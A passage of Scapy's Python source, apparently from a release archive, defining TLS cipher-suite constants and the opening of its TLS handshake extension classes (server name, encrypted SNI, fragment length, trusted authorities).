TLS_RSA_WITH_CAMELLIA_256_CBC_SHA(_GenericCipherSuite): val = 0x0084 class TLS_DH_DSS_WITH_CAMELLIA_256_CBC_SHA(_GenericCipherSuite): val = 0x0085 class TLS_DH_RSA_WITH_CAMELLIA_256_CBC_SHA(_GenericCipherSuite): val = 0x0086 class TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA(_GenericCipherSuite): val = 0x0087 class TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA(_GenericCipherSuite): val = 0x0088 class TLS_DH_anon_WITH_CAMELLIA_256_CBC_SHA(_GenericCipherSuite): val = 0x0089 class TLS_PSK_WITH_RC4_128_SHA(_GenericCipherSuite): val = 0x008A class TLS_PSK_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite): val = 0x008B class TLS_PSK_WITH_AES_128_CBC_SHA(_GenericCipherSuite): val = 0x008C class TLS_PSK_WITH_AES_256_CBC_SHA(_GenericCipherSuite): val = 0x008D class TLS_DHE_PSK_WITH_RC4_128_SHA(_GenericCipherSuite): val = 0x008E class TLS_DHE_PSK_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite): val = 0x008F class TLS_DHE_PSK_WITH_AES_128_CBC_SHA(_GenericCipherSuite): val = 0x0090 class TLS_DHE_PSK_WITH_AES_256_CBC_SHA(_GenericCipherSuite): val = 0x0091 class TLS_RSA_PSK_WITH_RC4_128_SHA(_GenericCipherSuite): val = 0x0092 class TLS_RSA_PSK_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite): val = 0x0093 class TLS_RSA_PSK_WITH_AES_128_CBC_SHA(_GenericCipherSuite): val = 0x0094 class TLS_RSA_PSK_WITH_AES_256_CBC_SHA(_GenericCipherSuite): val = 0x0095 class TLS_RSA_WITH_SEED_CBC_SHA(_GenericCipherSuite): val = 0x0096 class TLS_DH_DSS_WITH_SEED_CBC_SHA(_GenericCipherSuite): val = 0x0097 class TLS_DH_RSA_WITH_SEED_CBC_SHA(_GenericCipherSuite): val = 0x0098 class TLS_DHE_DSS_WITH_SEED_CBC_SHA(_GenericCipherSuite): val = 0x0099 class TLS_DHE_RSA_WITH_SEED_CBC_SHA(_GenericCipherSuite): val = 0x009A class TLS_DH_anon_WITH_SEED_CBC_SHA(_GenericCipherSuite): val = 0x009B class TLS_RSA_WITH_AES_128_GCM_SHA256(_GenericCipherSuite): val = 0x009C class TLS_RSA_WITH_AES_256_GCM_SHA384(_GenericCipherSuite): val = 0x009D class TLS_DHE_RSA_WITH_AES_128_GCM_SHA256(_GenericCipherSuite): val = 0x009E class TLS_DHE_RSA_WITH_AES_256_GCM_SHA384(_GenericCipherSuite): val = 0x009F class TLS_DH_RSA_WITH_AES_128_GCM_SHA256(_GenericCipherSuite): val = 0x00A0 class TLS_DH_RSA_WITH_AES_256_GCM_SHA384(_GenericCipherSuite): val = 0x00A1 class TLS_DHE_DSS_WITH_AES_128_GCM_SHA256(_GenericCipherSuite): val = 0x00A2 class TLS_DHE_DSS_WITH_AES_256_GCM_SHA384(_GenericCipherSuite): val = 0x00A3 class TLS_DH_DSS_WITH_AES_128_GCM_SHA256(_GenericCipherSuite): val = 0x00A4 class TLS_DH_DSS_WITH_AES_256_GCM_SHA384(_GenericCipherSuite): val = 0x00A5 class TLS_DH_anon_WITH_AES_128_GCM_SHA256(_GenericCipherSuite): val = 0x00A6 class TLS_DH_anon_WITH_AES_256_GCM_SHA384(_GenericCipherSuite): val = 0x00A7 class TLS_PSK_WITH_AES_128_GCM_SHA256(_GenericCipherSuite): val = 0x00A8 class TLS_PSK_WITH_AES_256_GCM_SHA384(_GenericCipherSuite): val = 0x00A9 class TLS_DHE_PSK_WITH_AES_128_GCM_SHA256(_GenericCipherSuite): val = 0x00AA class TLS_DHE_PSK_WITH_AES_256_GCM_SHA384(_GenericCipherSuite): val = 0x00AB class TLS_RSA_PSK_WITH_AES_128_GCM_SHA256(_GenericCipherSuite): val = 0x00AC class TLS_RSA_PSK_WITH_AES_256_GCM_SHA384(_GenericCipherSuite): val = 0x00AD class TLS_PSK_WITH_AES_128_CBC_SHA256(_GenericCipherSuite): val = 0x00AE class TLS_PSK_WITH_AES_256_CBC_SHA384(_GenericCipherSuite): val = 0x00AF class TLS_PSK_WITH_NULL_SHA256(_GenericCipherSuite): val = 0x00B0 class TLS_PSK_WITH_NULL_SHA384(_GenericCipherSuite): val = 0x00B1 class TLS_DHE_PSK_WITH_AES_128_CBC_SHA256(_GenericCipherSuite): val = 0x00B2 class TLS_DHE_PSK_WITH_AES_256_CBC_SHA384(_GenericCipherSuite): val = 0x00B3 class TLS_DHE_PSK_WITH_NULL_SHA256(_GenericCipherSuite): val = 0x00B4 class TLS_DHE_PSK_WITH_NULL_SHA384(_GenericCipherSuite): val = 0x00B5 class TLS_RSA_PSK_WITH_AES_128_CBC_SHA256(_GenericCipherSuite): val = 0x00B6 class TLS_RSA_PSK_WITH_AES_256_CBC_SHA384(_GenericCipherSuite): val = 0x00B7 class TLS_RSA_PSK_WITH_NULL_SHA256(_GenericCipherSuite): val = 0x00B8 class TLS_RSA_PSK_WITH_NULL_SHA384(_GenericCipherSuite): val = 0x00B9 class TLS_RSA_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite): val = 0x00BA class TLS_DH_DSS_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite): val = 0x00BB class TLS_DH_RSA_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite): val = 0x00BC class TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite): val = 0x00BD class TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite): val = 0x00BE class TLS_DH_anon_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite): val = 0x00BF class TLS_RSA_WITH_CAMELLIA_256_CBC_SHA256(_GenericCipherSuite): val = 0x00C0 class TLS_DH_DSS_WITH_CAMELLIA_256_CBC_SHA256(_GenericCipherSuite): val = 0x00C1 class TLS_DH_RSA_WITH_CAMELLIA_256_CBC_SHA256(_GenericCipherSuite): val = 0x00C2 class TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA256(_GenericCipherSuite): val = 0x00C3 class TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA256(_GenericCipherSuite): val = 0x00C4 class TLS_DH_anon_WITH_CAMELLIA_256_CBC_SHA256(_GenericCipherSuite): val = 0x00C5 # class TLS_EMPTY_RENEGOTIATION_INFO_CSV(_GenericCipherSuite): # val = 0x00FF # class TLS_FALLBACK_SCSV(_GenericCipherSuite): # val = 0x5600 class TLS_ECDH_ECDSA_WITH_NULL_SHA(_GenericCipherSuite): val = 0xC001 class TLS_ECDH_ECDSA_WITH_RC4_128_SHA(_GenericCipherSuite): val = 0xC002 class TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite): val = 0xC003 class TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA(_GenericCipherSuite): val = 0xC004 class TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA(_GenericCipherSuite): val = 0xC005 class TLS_ECDHE_ECDSA_WITH_NULL_SHA(_GenericCipherSuite): val = 0xC006 class TLS_ECDHE_ECDSA_WITH_RC4_128_SHA(_GenericCipherSuite): val = 0xC007 class TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite): val = 0xC008 class TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA(_GenericCipherSuite): val = 0xC009 class TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA(_GenericCipherSuite): val = 0xC00A class TLS_ECDH_RSA_WITH_NULL_SHA(_GenericCipherSuite): val = 0xC00B class TLS_ECDH_RSA_WITH_RC4_128_SHA(_GenericCipherSuite): val = 0xC00C class TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite): val = 0xC00D class TLS_ECDH_RSA_WITH_AES_128_CBC_SHA(_GenericCipherSuite): val = 0xC00E class TLS_ECDH_RSA_WITH_AES_256_CBC_SHA(_GenericCipherSuite): val = 0xC00F class TLS_ECDHE_RSA_WITH_NULL_SHA(_GenericCipherSuite): val = 0xC010 class TLS_ECDHE_RSA_WITH_RC4_128_SHA(_GenericCipherSuite): val = 0xC011 class TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite): val = 0xC012 class TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA(_GenericCipherSuite): val = 0xC013 class TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA(_GenericCipherSuite): val = 0xC014 class TLS_ECDH_anon_WITH_NULL_SHA(_GenericCipherSuite): val = 0xC015 class TLS_ECDH_anon_WITH_RC4_128_SHA(_GenericCipherSuite): val = 0xC016 class TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite): val = 0xC017 class TLS_ECDH_anon_WITH_AES_128_CBC_SHA(_GenericCipherSuite): val = 0xC018 class TLS_ECDH_anon_WITH_AES_256_CBC_SHA(_GenericCipherSuite): val = 0xC019 class TLS_SRP_SHA_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite): val = 0xC01A class TLS_SRP_SHA_RSA_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite): val = 0xC01B class TLS_SRP_SHA_DSS_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite): val = 0xC01C class TLS_SRP_SHA_WITH_AES_128_CBC_SHA(_GenericCipherSuite): val = 0xC01D class TLS_SRP_SHA_RSA_WITH_AES_128_CBC_SHA(_GenericCipherSuite): val = 0xC01E class TLS_SRP_SHA_DSS_WITH_AES_128_CBC_SHA(_GenericCipherSuite): val = 0xC01F class TLS_SRP_SHA_WITH_AES_256_CBC_SHA(_GenericCipherSuite): val = 0xC020 class TLS_SRP_SHA_RSA_WITH_AES_256_CBC_SHA(_GenericCipherSuite): val = 0xC021 class TLS_SRP_SHA_DSS_WITH_AES_256_CBC_SHA(_GenericCipherSuite): val = 0xC022 class TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256(_GenericCipherSuite): val = 0xC023 class TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384(_GenericCipherSuite): val = 0xC024 class TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA256(_GenericCipherSuite): val = 0xC025 class TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA384(_GenericCipherSuite): val = 0xC026 class TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256(_GenericCipherSuite): val = 0xC027 class TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384(_GenericCipherSuite): val = 0xC028 class TLS_ECDH_RSA_WITH_AES_128_CBC_SHA256(_GenericCipherSuite): val = 0xC029 class TLS_ECDH_RSA_WITH_AES_256_CBC_SHA384(_GenericCipherSuite): val = 0xC02A class TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256(_GenericCipherSuite): val = 0xC02B class TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384(_GenericCipherSuite): val = 0xC02C class TLS_ECDH_ECDSA_WITH_AES_128_GCM_SHA256(_GenericCipherSuite): val = 0xC02D class TLS_ECDH_ECDSA_WITH_AES_256_GCM_SHA384(_GenericCipherSuite): val = 0xC02E class TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256(_GenericCipherSuite): val = 0xC02F class TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384(_GenericCipherSuite): val = 0xC030 class TLS_ECDH_RSA_WITH_AES_128_GCM_SHA256(_GenericCipherSuite): val = 0xC031 class TLS_ECDH_RSA_WITH_AES_256_GCM_SHA384(_GenericCipherSuite): val = 0xC032 class TLS_ECDHE_PSK_WITH_RC4_128_SHA(_GenericCipherSuite): val = 0xC033 class TLS_ECDHE_PSK_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite): val = 0xC034 class TLS_ECDHE_PSK_WITH_AES_128_CBC_SHA(_GenericCipherSuite): val = 0xC035 class TLS_ECDHE_PSK_WITH_AES_256_CBC_SHA(_GenericCipherSuite): val = 0xC036 class TLS_ECDHE_PSK_WITH_AES_128_CBC_SHA256(_GenericCipherSuite): val = 0xC037 class TLS_ECDHE_PSK_WITH_AES_256_CBC_SHA384(_GenericCipherSuite): val = 0xC038 class TLS_ECDHE_PSK_WITH_NULL_SHA(_GenericCipherSuite): val = 0xC039 class TLS_ECDHE_PSK_WITH_NULL_SHA256(_GenericCipherSuite): val = 0xC03A class TLS_ECDHE_PSK_WITH_NULL_SHA384(_GenericCipherSuite): val = 0xC03B # suites 0xC03C-C071 use ARIA class TLS_ECDHE_ECDSA_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite): val = 0xC072 class TLS_ECDHE_ECDSA_WITH_CAMELLIA_256_CBC_SHA384(_GenericCipherSuite): val = 0xC073 class TLS_ECDH_ECDSA_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite): val = 0xC074 class TLS_ECDH_ECDSA_WITH_CAMELLIA_256_CBC_SHA384(_GenericCipherSuite): val = 0xC075 class TLS_ECDHE_RSA_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite): val = 0xC076 class TLS_ECDHE_RSA_WITH_CAMELLIA_256_CBC_SHA384(_GenericCipherSuite): val = 0xC077 class TLS_ECDH_RSA_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite): val = 0xC078 class TLS_ECDH_RSA_WITH_CAMELLIA_256_CBC_SHA384(_GenericCipherSuite): val = 0xC079 class TLS_RSA_WITH_CAMELLIA_128_GCM_SHA256(_GenericCipherSuite): val = 0xC07A class TLS_RSA_WITH_CAMELLIA_256_GCM_SHA384(_GenericCipherSuite): val = 0xC07B class TLS_DHE_RSA_WITH_CAMELLIA_128_GCM_SHA256(_GenericCipherSuite): val = 0xC07C class TLS_DHE_RSA_WITH_CAMELLIA_256_GCM_SHA384(_GenericCipherSuite): val = 0xC07D class TLS_DH_RSA_WITH_CAMELLIA_128_GCM_SHA256(_GenericCipherSuite): val = 0xC07E class TLS_DH_RSA_WITH_CAMELLIA_256_GCM_SHA384(_GenericCipherSuite): val = 0xC07F class TLS_DHE_DSS_WITH_CAMELLIA_128_GCM_SHA256(_GenericCipherSuite): val = 0xC080 class TLS_DHE_DSS_WITH_CAMELLIA_256_GCM_SHA384(_GenericCipherSuite): val = 0xC081 class TLS_DH_DSS_WITH_CAMELLIA_128_GCM_SHA256(_GenericCipherSuite): val = 0xC082 class TLS_DH_DSS_WITH_CAMELLIA_256_GCM_SHA384(_GenericCipherSuite): val = 0xC083 class TLS_DH_anon_WITH_CAMELLIA_128_GCM_SHA256(_GenericCipherSuite): val = 0xC084 class TLS_DH_anon_WITH_CAMELLIA_256_GCM_SHA384(_GenericCipherSuite): val = 0xC085 class TLS_ECDHE_ECDSA_WITH_CAMELLIA_128_GCM_SHA256(_GenericCipherSuite): val = 0xC086 class TLS_ECDHE_ECDSA_WITH_CAMELLIA_256_GCM_SHA384(_GenericCipherSuite): val = 0xC087 class TLS_ECDH_ECDSA_WITH_CAMELLIA_128_GCM_SHA256(_GenericCipherSuite): val = 0xC088 class TLS_ECDH_ECDSA_WITH_CAMELLIA_256_GCM_SHA384(_GenericCipherSuite): val = 0xC089 class TLS_ECDHE_RSA_WITH_CAMELLIA_128_GCM_SHA256(_GenericCipherSuite): val = 0xC08A class TLS_ECDHE_RSA_WITH_CAMELLIA_256_GCM_SHA384(_GenericCipherSuite): val = 0xC08B class TLS_ECDH_RSA_WITH_CAMELLIA_128_GCM_SHA256(_GenericCipherSuite): val = 0xC08C class TLS_ECDH_RSA_WITH_CAMELLIA_256_GCM_SHA384(_GenericCipherSuite): val = 0xC08D class TLS_PSK_WITH_CAMELLIA_128_GCM_SHA256(_GenericCipherSuite): val = 0xC08E class TLS_PSK_WITH_CAMELLIA_256_GCM_SHA384(_GenericCipherSuite): val = 0xC08F class TLS_DHE_PSK_WITH_CAMELLIA_128_GCM_SHA256(_GenericCipherSuite): val = 0xC090 class TLS_DHE_PSK_WITH_CAMELLIA_256_GCM_SHA384(_GenericCipherSuite): val = 0xC091 class TLS_RSA_PSK_WITH_CAMELLIA_128_GCM_SHA256(_GenericCipherSuite): val = 0xC092 class TLS_RSA_PSK_WITH_CAMELLIA_256_GCM_SHA384(_GenericCipherSuite): val = 0xC093 class TLS_PSK_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite): val = 0xC094 class TLS_PSK_WITH_CAMELLIA_256_CBC_SHA384(_GenericCipherSuite): val = 0xC095 class TLS_DHE_PSK_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite): val = 0xC096 class TLS_DHE_PSK_WITH_CAMELLIA_256_CBC_SHA384(_GenericCipherSuite): val = 0xC097 class TLS_RSA_PSK_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite): val = 0xC098 class TLS_RSA_PSK_WITH_CAMELLIA_256_CBC_SHA384(_GenericCipherSuite): val = 0xC099 class TLS_ECDHE_PSK_WITH_CAMELLIA_128_CBC_SHA256(_GenericCipherSuite): val = 0xC09A class TLS_ECDHE_PSK_WITH_CAMELLIA_256_CBC_SHA384(_GenericCipherSuite): val = 0xC09B class TLS_RSA_WITH_AES_128_CCM(_GenericCipherSuite): val = 0xC09C class TLS_RSA_WITH_AES_256_CCM(_GenericCipherSuite): val = 0xC09D class TLS_DHE_RSA_WITH_AES_128_CCM(_GenericCipherSuite): val = 0xC09E class TLS_DHE_RSA_WITH_AES_256_CCM(_GenericCipherSuite): val = 0xC09F class TLS_RSA_WITH_AES_128_CCM_8(_GenericCipherSuite): val = 0xC0A0 class TLS_RSA_WITH_AES_256_CCM_8(_GenericCipherSuite): val = 0xC0A1 class TLS_DHE_RSA_WITH_AES_128_CCM_8(_GenericCipherSuite): val = 0xC0A2 class TLS_DHE_RSA_WITH_AES_256_CCM_8(_GenericCipherSuite): val = 0xC0A3 class TLS_PSK_WITH_AES_128_CCM(_GenericCipherSuite): val = 0xC0A4 class TLS_PSK_WITH_AES_256_CCM(_GenericCipherSuite): val = 0xC0A5 class TLS_DHE_PSK_WITH_AES_128_CCM(_GenericCipherSuite): val = 0xC0A6 class TLS_DHE_PSK_WITH_AES_256_CCM(_GenericCipherSuite): val = 0xC0A7 class TLS_PSK_WITH_AES_128_CCM_8(_GenericCipherSuite): val = 0xC0A8 class TLS_PSK_WITH_AES_256_CCM_8(_GenericCipherSuite): val = 0xC0A9 class TLS_DHE_PSK_WITH_AES_128_CCM_8(_GenericCipherSuite): val = 0xC0AA class TLS_DHE_PSK_WITH_AES_256_CCM_8(_GenericCipherSuite): val = 0xC0AB class TLS_ECDHE_ECDSA_WITH_AES_128_CCM(_GenericCipherSuite): val = 0xC0AC class TLS_ECDHE_ECDSA_WITH_AES_256_CCM(_GenericCipherSuite): val = 0xC0AD class TLS_ECDHE_ECDSA_WITH_AES_128_CCM_8(_GenericCipherSuite): val = 0xC0AE class TLS_ECDHE_ECDSA_WITH_AES_256_CCM_8(_GenericCipherSuite): val = 0xC0AF # the next 3 suites are from draft-agl-tls-chacha20poly1305-04 class TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256_OLD(_GenericCipherSuite): val = 0xCC13 class TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256_OLD(_GenericCipherSuite): val = 0xCC14 class TLS_DHE_RSA_WITH_CHACHA20_POLY1305_SHA256_OLD(_GenericCipherSuite): val = 0xCC15 class TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256(_GenericCipherSuite): val = 0xCCA8 class TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256(_GenericCipherSuite): val = 0xCCA9 class TLS_DHE_RSA_WITH_CHACHA20_POLY1305_SHA256(_GenericCipherSuite): val = 0xCCAA class TLS_PSK_WITH_CHACHA20_POLY1305_SHA256(_GenericCipherSuite): val = 0xCCAB class TLS_ECDHE_PSK_WITH_CHACHA20_POLY1305_SHA256(_GenericCipherSuite): val = 0xCCAC class TLS_DHE_PSK_WITH_CHACHA20_POLY1305_SHA256(_GenericCipherSuite): val = 0xCCAD class TLS_RSA_PSK_WITH_CHACHA20_POLY1305_SHA256(_GenericCipherSuite): val = 0xCCAE class TLS_AES_128_GCM_SHA256(_GenericCipherSuite): val = 0x1301 class TLS_AES_256_GCM_SHA384(_GenericCipherSuite): val = 0x1302 class TLS_CHACHA20_POLY1305_SHA256(_GenericCipherSuite): val = 0x1303 class TLS_AES_128_CCM_SHA256(_GenericCipherSuite): val = 0x1304 class TLS_AES_128_CCM_8_SHA256(_GenericCipherSuite): val = 0x1305 class SSL_CK_RC4_128_WITH_MD5(_GenericCipherSuite): val = 0x010080 class SSL_CK_RC4_128_EXPORT40_WITH_MD5(_GenericCipherSuite): val = 0x020080 class SSL_CK_RC2_128_CBC_WITH_MD5(_GenericCipherSuite): val = 0x030080 class SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5(_GenericCipherSuite): val = 0x040080 class SSL_CK_IDEA_128_CBC_WITH_MD5(_GenericCipherSuite): val = 0x050080 class SSL_CK_DES_64_CBC_WITH_MD5(_GenericCipherSuite): val = 0x060040 class SSL_CK_DES_192_EDE3_CBC_WITH_MD5(_GenericCipherSuite): val = 0x0700C0 _tls_cipher_suites[0x00ff] = "TLS_EMPTY_RENEGOTIATION_INFO_SCSV" _tls_cipher_suites[0x5600] = "TLS_FALLBACK_SCSV" def get_usable_ciphersuites(li, kx): """ From a list of proposed ciphersuites, this function returns a list of usable cipher suites, i.e. for which key exchange, cipher and hash algorithms are known to be implemented and usable in current version of the TLS extension. The order of the cipher suites in the list returned by the function matches the one of the proposal. """ res = [] for c in li: if c in _tls_cipher_suites_cls: ciph = _tls_cipher_suites_cls[c] if ciph.usable: # XXX select among RSA and ECDSA cipher suites # according to the key(s) the server was given if (ciph.kx_alg.anonymous or kx in ciph.kx_alg.name or ciph.kx_alg.name == "TLS13"): res.append(c) return res scapy-2.4.4/scapy/layers/tls/extensions.py000066400000000000000000001025521372370053500206430ustar00rootroot00000000000000# This file is part of Scapy # Copyright (C) 2017 Maxence Tury # This program is published under a GPLv2 license """ TLS handshake extensions. """ from __future__ import print_function import os import struct from scapy.fields import ByteEnumField, ByteField, EnumField, FieldLenField, \ FieldListField, IntField, PacketField, PacketListField, ShortEnumField, \ ShortField, StrFixedLenField, StrLenField, XStrLenField from scapy.packet import Packet, Raw, Padding from scapy.layers.x509 import X509_Extensions from scapy.layers.tls.basefields import _tls_version from scapy.layers.tls.keyexchange import (SigAndHashAlgsLenField, SigAndHashAlgsField, _tls_hash_sig) from scapy.layers.tls.session import _GenericTLSSessionInheritance from scapy.layers.tls.crypto.groups import _tls_named_groups from scapy.layers.tls.crypto.suites import _tls_cipher_suites from scapy.themes import AnsiColorTheme from scapy.compat import raw from scapy.config import conf # Because ServerHello and HelloRetryRequest have the same # msg_type, the only way to distinguish these message is by # checking the random_bytes. If the random_bytes are equal to # SHA256('HelloRetryRequest') then we know this is a # HelloRetryRequest and the TLS_Ext_KeyShare must be parsed as # TLS_Ext_KeyShare_HRR and not as TLS_Ext_KeyShare_SH # from cryptography.hazmat.backends import default_backend # from cryptography.hazmat.primitives import hashes # digest = hashes.Hash(hashes.SHA256(), backend=default_backend()) # digest.update(b"HelloRetryRequest") # _tls_hello_retry_magic = digest.finalize() _tls_hello_retry_magic = ( b'\xcf!\xadt\xe5\x9aa\x11\xbe\x1d\x8c\x02\x1ee\xb8\x91\xc2\xa2\x11' b'\x16z\xbb\x8c^\x07\x9e\t\xe2\xc8\xa83\x9c' ) _tls_ext = {0: "server_name", # RFC 4366 1: "max_fragment_length", # RFC 4366 2: "client_certificate_url", # RFC 4366 3: "trusted_ca_keys", # RFC 4366 4: "truncated_hmac", # RFC 4366 5: "status_request", # RFC 4366 6: "user_mapping", # RFC 4681 7: "client_authz", # RFC 5878 8: "server_authz", # RFC 5878 9: "cert_type", # RFC 6091 # 10: "elliptic_curves", # RFC 4492 10: "supported_groups", 11: "ec_point_formats", # RFC 4492 13: "signature_algorithms", # RFC 5246 0x0f: "heartbeat", # RFC 6520 0x10: "alpn", # RFC 7301 0x12: "signed_certificate_timestamp", # RFC 6962 0x13: "client_certificate_type", # RFC 7250 0x14: "server_certificate_type", # RFC 7250 0x15: "padding", # RFC 7685 0x16: "encrypt_then_mac", # RFC 7366 0x17: "extended_master_secret", # RFC 7627 0x1c: "record_size_limit", # RFC 8449 0x23: "session_ticket", # RFC 5077 0x29: "pre_shared_key", 0x2a: "early_data_indication", 0x2b: "supported_versions", 0x2c: "cookie", 0x2d: "psk_key_exchange_modes", 0x2f: "certificate_authorities", 0x30: "oid_filters", 0x31: "post_handshake_auth", 0x32: "signature_algorithms_cert", 0x33: "key_share", 0x3374: "next_protocol_negotiation", # RFC-draft-agl-tls-nextprotoneg-03 0xff01: "renegotiation_info", # RFC 5746 0xffce: "encrypted_server_name" } class TLS_Ext_Unknown(_GenericTLSSessionInheritance): """ We put this here rather than in extensions.py in order to avoid circular imports... """ name = "TLS Extension - Scapy Unknown" fields_desc = [ShortEnumField("type", None, _tls_ext), FieldLenField("len", None, fmt="!H", length_of="val"), StrLenField("val", "", length_from=lambda pkt: pkt.len)] def post_build(self, p, pay): if self.len is None: tmp_len = len(p) - 4 p = p[:2] + struct.pack("!H", tmp_len) + p[4:] return p + pay ############################################################################### # ClientHello/ServerHello extensions # ############################################################################### # We provide these extensions mostly for packet manipulation purposes. # For now, most of them are not considered by our automaton. class TLS_Ext_PrettyPacketList(TLS_Ext_Unknown): """ Dummy extension used for server_name/ALPN/NPN for a lighter representation: the final field is showed as a 1-line list rather than as lots of packets. XXX Define a new condition for packet lists in Packet._show_or_dump? """ def _show_or_dump(self, dump=False, indent=3, lvl="", label_lvl="", first_call=True): """ Reproduced from packet.py """ ct = AnsiColorTheme() if dump else conf.color_theme s = "%s%s %s %s \n" % (label_lvl, ct.punct("###["), ct.layer_name(self.name), ct.punct("]###")) for f in self.fields_desc[:-1]: ncol = ct.field_name vcol = ct.field_value fvalue = self.getfieldval(f.name) begn = "%s %-10s%s " % (label_lvl + lvl, ncol(f.name), ct.punct("="),) reprval = f.i2repr(self, fvalue) if isinstance(reprval, str): reprval = reprval.replace("\n", "\n" + " " * (len(label_lvl) + len(lvl) + len(f.name) + 4)) s += "%s%s\n" % (begn, vcol(reprval)) f = self.fields_desc[-1] ncol = ct.field_name vcol = ct.field_value fvalue = self.getfieldval(f.name) begn = "%s %-10s%s " % (label_lvl + lvl, ncol(f.name), ct.punct("="),) reprval = f.i2repr(self, fvalue) if isinstance(reprval, str): reprval = reprval.replace("\n", "\n" + " " * (len(label_lvl) + len(lvl) + len(f.name) + 4)) s += "%s%s\n" % (begn, vcol(reprval)) if self.payload: s += self.payload._show_or_dump(dump=dump, indent=indent, lvl=lvl + (" " * indent * self.show_indent), # noqa: E501 label_lvl=label_lvl, first_call=False) # noqa: E501 if first_call and not dump: print(s) else: return s _tls_server_name_types = {0: "host_name"} class ServerName(Packet): name = "HostName" fields_desc = [ByteEnumField("nametype", 0, _tls_server_name_types), FieldLenField("namelen", None, length_of="servername"), StrLenField("servername", "", length_from=lambda pkt: pkt.namelen)] def guess_payload_class(self, p): return Padding class ServerListField(PacketListField): def i2repr(self, pkt, x): res = [p.servername for p in x] return "[%s]" % b", ".join(res) class ServerLenField(FieldLenField): """ There is no length when there are no servernames (as in a ServerHello). """ def addfield(self, pkt, s, val): if not val: if not pkt.servernames: return s return super(ServerLenField, self).addfield(pkt, s, val) class TLS_Ext_ServerName(TLS_Ext_PrettyPacketList): # RFC 4366 name = "TLS Extension - Server Name" fields_desc = [ShortEnumField("type", 0, _tls_ext), FieldLenField("len", None, length_of="servernames", adjust=lambda pkt, x: x + 2), ServerLenField("servernameslen", None, length_of="servernames"), ServerListField("servernames", [], ServerName, length_from=lambda pkt: pkt.servernameslen)] class TLS_Ext_EncryptedServerName(TLS_Ext_PrettyPacketList): name = "TLS Extension - Encrypted Server Name" fields_desc = [ShortEnumField("type", 0xffce, _tls_ext), ShortField("len", None), EnumField("cipher", None, _tls_cipher_suites), ShortEnumField("key_exchange_group", None, _tls_named_groups), FieldLenField("key_exchange_len", None, length_of="key_exchange", fmt="H"), XStrLenField("key_exchange", "", length_from=lambda pkt: pkt.key_exchange_len), FieldLenField("record_digest_len", None, length_of="record_digest"), XStrLenField("record_digest", "", length_from=lambda pkt: pkt.record_digest_len), FieldLenField("encrypted_sni_len", None, length_of="encrypted_sni", fmt="H"), XStrLenField("encrypted_sni", "", length_from=lambda pkt: pkt.encrypted_sni_len)] class TLS_Ext_MaxFragLen(TLS_Ext_Unknown): # RFC 4366 name = "TLS Extension - Max Fragment Length" fields_desc = [ShortEnumField("type", 1, _tls_ext), ShortField("len", None), ByteEnumField("maxfraglen", 4, {1: "2^9", 2: "2^10", 3: "2^11", 4: "2^12"})] class TLS_Ext_ClientCertURL(TLS_Ext_Unknown): # RFC 4366 name = "TLS Extension - Client Certificate URL" fields_desc = [ShortEnumField("type", 2, _tls_ext), ShortField("len", None)] _tls_trusted_authority_types = {0: "pre_agreed", 1: "key_sha1_hash", 2: "x509_name", 3: "cert_sha1_hash"} class TAPreAgreed(Packet): name = "Trusted authority - pre_agreed" fields_desc = [ByteEnumField("idtype", 0, _tls_trusted_authority_types)] def guess_payload_class(self, p): return Padding class TAKeySHA1Hash(Packet): name = "Trusted authority - key_sha1_hash" fields_desc = [ByteEnumField("idtype", 1, _tls_trusted_authority_types), StrFixedLenField("id", None, 20)] def guess_payload_class(self, p): return Padding class TAX509Name(Packet): """ XXX Section 3.4 of RFC 4366. Implement a more specific DNField rather than current StrLenField. """ 